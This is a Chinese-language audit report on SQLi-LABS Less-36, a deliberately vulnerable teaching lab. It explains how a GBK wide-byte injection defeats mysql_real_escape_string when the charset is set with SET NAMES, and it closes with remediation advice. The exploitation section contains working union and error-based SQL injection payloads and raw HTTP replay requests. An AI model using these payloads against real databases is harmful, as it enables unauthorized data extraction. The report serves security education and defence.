Less-36 审计报告:宽字节注入绕过 mysql_real_escape_string(GBK)

1. 关卡概述

2. 漏洞代码定位

文件: Less-36/index.php

// 第 17~21 行:使用 mysql_real_escape_string
function check_quotes($string)
{
    $string= mysql_real_escape_string($string);
    return $string;
}

// 第 26 行:输入经过过滤
$id=check_quotes($_GET['id']);

// 第 36 行:关键 —— 用 SET NAMES 而非 mysql_set_charset 设置字符集
mysql_query("SET NAMES gbk");

// 第 37 行:单引号拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

// 第 52 行:报错回显
print_r(mysql_error());

3. 漏洞分析

• 防御设计:mysql_real_escape_string() 是 MySQL 官方转义函数,常被认为是安全的。
• 宽字节原理(核心):
  • mysql_real_escape_string 的转义是否安全取决于客户端连接字符集是否被正确告知;
  • 第 36 行用 SET NAMES gbk 只是服务端语句,客户端库的字符集信息未同步(正确做法是 mysql_set_charset('gbk'));
  • 当输入 %df%27(0xDF 0x27)时,转义把 ' → 0x5C 0x27;GBK 把 0xDF 0x5C 解析为合法汉字,0x27 成为独立单引号 → 闭合成功。
• 结论:mysql_real_escape_string + SET NAMES gbk(而非 mysql_set_charset)仍然存在宽字节绕过。
• 回显:第 52 行报错回显。

4. 利用方式

步骤一:确认宽字节闭合

• ?id=1%df%27 → SQL 语法错误,证明 %df 吃掉反斜杠。

步骤二:联合注入(核心 payload)

-1%df%27 union select 1,2,database()-- -

拼接后(字节层面):

SELECT * FROM users WHERE id='-1<汋>' union select 1,2,database()-- -' LIMIT 0,1

• 结果显示 Your Login name:2、Your Password:security。

步骤三:报错注入

-1%df%27 and updatexml(1,concat(0x7e,database()),1)-- -

回显 XPATH syntax error: '~security'。

步骤四:提取其它数据

-1%df%27 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- -

5. Yakit 重放数据包

GET /sqli-labs/Less-36/?id=-1%df%27%20union%20select%201,2,database()--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

报错注入报文:

GET /sqli-labs/Less-36/?id=-1%df%27%20and%20updatexml(1,concat(0x7e,database()),1)--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

%df%27 必须保持 URL 编码发送。

6. 修复建议

修复一:正确设置字符集 + 参数化(PDO)

<?php
// 1) 使用 PDO 时通过 DSN 指定字符集,且转义与解析一致
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=gbk', $dbuser, $dbpass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
// 2) 参数化
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id LIMIT 0,1");
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();

修复二:mysqli 预处理(用 mysqli_set_charset 而非 SET NAMES)

<?php
mysqli_set_charset($mysqli, 'gbk');   // 关键:同步客户端字符集
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ? LIMIT 0,1");
$stmt->bind_param('i', $id);
$stmt->execute();

修复三:加固要点

• 一律用 mysql_set_charset/mysqli_set_charset/PDO DSN charset 同步字符集,禁用裸 SET NAMES;
• 推荐直接使用 utf8mb4;
• id 参数 ctype_digit()/is_numeric() 强校验;
• 关闭 mysql_error() 回显;数据库最小权限;升级 PHP 7+ / 8+。

附:验证与复现说明

• 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
• 复现前提:导入 sql-lab.sql、配置 sql-connections/db-creds.inc、PHP 5.x + mysql 扩展、MySQL 使用 GBK。